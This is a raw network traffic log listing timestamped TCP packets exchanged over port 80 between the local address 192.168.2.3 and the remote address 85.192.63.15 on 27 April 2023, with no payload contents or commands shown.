Apr 27, 2023 07:41:55.501934052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.501981974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.501996994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.501996994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.502019882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.502058983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.502073050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.502073050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.502073050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.502108097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.503483057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.503516912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.503561974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.503576994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.503576994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.503607035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.503617048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.503642082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.503669024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.503694057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.528989077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529047012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529093027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529118061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529118061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529126883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529162884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529175997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529175997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529211044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529788017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529834986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529855013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529900074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.529937029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.529983044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.530014992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.530019999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.530040026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.530070066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.531486034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.531524897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.531569958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.531594038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.531594992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.531618118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.531627893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.531661987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.531671047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.531717062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.535305023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.535418987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.535428047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.535474062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.535495996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.535510063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.535535097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.535573959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.536799908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.536847115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.536892891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.536891937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.536921024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.536927938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.536936045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.536995888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.538551092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.538645983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.538650036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.538696051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.538710117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.538729906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.538748980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.538778067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.542114973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.542165995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.542211056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.542229891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.542231083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.542247057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.542267084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.542290926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.543881893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.543962002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.544008970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.544023991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.544051886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.544070005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.544110060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.544147968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.544169903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.544194937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.547385931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.547456026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.547502995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.547527075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.547527075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.547542095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.547564983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.547714949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.548738956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.548787117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.548832893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.548840046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.548840046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.548866987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.548880100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.548921108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.552225113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.552264929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.552309036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.552328110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.552328110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.552352905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.552356958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.552388906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.552416086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.552434921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.554019928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.554111004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.554158926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.554181099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.554194927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.554214954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.554214954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.554239988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.554240942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.554277897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.554300070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.554330111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.555589914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.555628061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.555671930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.555701017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.555704117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.555727005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.555727005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.555748940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.555753946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.555783987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.555830002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.555830002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.559195042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.559230089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.559273005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.559308052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.559308052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.559315920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.559334993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.559351921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.559376955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.559421062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.560920000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.560951948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.560996056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.561019897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.561019897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.561033964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.561045885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.561079979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.561094046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.561116934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.561135054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.561175108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.564433098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.564513922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.564558029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.564572096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.564572096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.564594030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.564600945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.564646959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.566323042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.566354990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.566399097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.566423893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.566423893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.566442966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.566477060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.566483021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.566500902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.566538095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.567838907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.567874908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.567922115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.567936897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.567936897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.567966938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.567969084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.568006992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.568027973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.568064928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.571465015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.571501017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.571547031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.571566105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.571566105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.571594000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.571594000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.571630955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.571647882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.571686983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.573096991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.573147058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.573179007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.573214054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.573214054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.573224068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.573240995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.573261023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.573278904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.573309898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.576391935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.576473951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.576504946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.576548100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.576548100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.576548100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.576575041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.576584101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.576597929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.576638937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.578087091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.578134060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.578166008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.578167915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.578191042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.578212023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.578223944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.578248024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.578268051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.578311920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.581533909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.581581116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.581615925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.581643105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.581643105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.581660986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.581671000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.581697941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.581715107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.581751108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.583236933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.583271980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.583316088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.583337069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.583337069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.583347082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.583368063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.583400965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.583411932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.583451986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.583472967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.583507061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.585113049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.585150003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.585196972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.585197926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.585217953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.585243940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.585263968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.585279942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.585315943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.585333109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.588517904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.588568926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.588598013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.588603020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.588635921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.588648081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.588654995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.588682890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.588706017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.588743925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.604266882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.604336023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.604372025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.604418993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.604443073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.604443073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.604443073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.604458094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.604511976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.604511976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.605731964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.605777979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.605811119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.605827093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.605849981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.605854988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.605865002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.605890989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.605910063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.605948925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.607501984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.607538939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.607573986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.607584953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.607594967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.607630014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.607639074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.607666969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.607680082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.607717037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612510920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612560034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612598896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612600088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612638950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612647057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612660885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612684965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612732887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612778902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612818003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612818956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612818956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612826109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612904072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612940073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612963915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612963915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612963915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.612989902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.612993002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.613027096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.613079071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.613106966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.613115072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.613153934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.613183022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.613204956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.613985062 CEST	80	49697	85.192.63.15	192.168.2.3
